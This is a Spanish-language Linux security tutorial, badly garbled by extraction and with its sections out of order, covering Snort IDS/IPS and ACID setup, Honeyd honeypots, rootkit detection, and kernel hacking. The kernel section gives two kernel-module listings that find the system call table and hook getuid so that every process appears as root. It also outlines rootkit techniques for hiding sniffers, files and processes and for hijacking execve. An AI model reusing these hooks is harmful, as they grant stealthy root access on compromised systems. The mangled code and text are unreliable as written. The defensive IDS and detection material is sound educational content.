Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 23: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

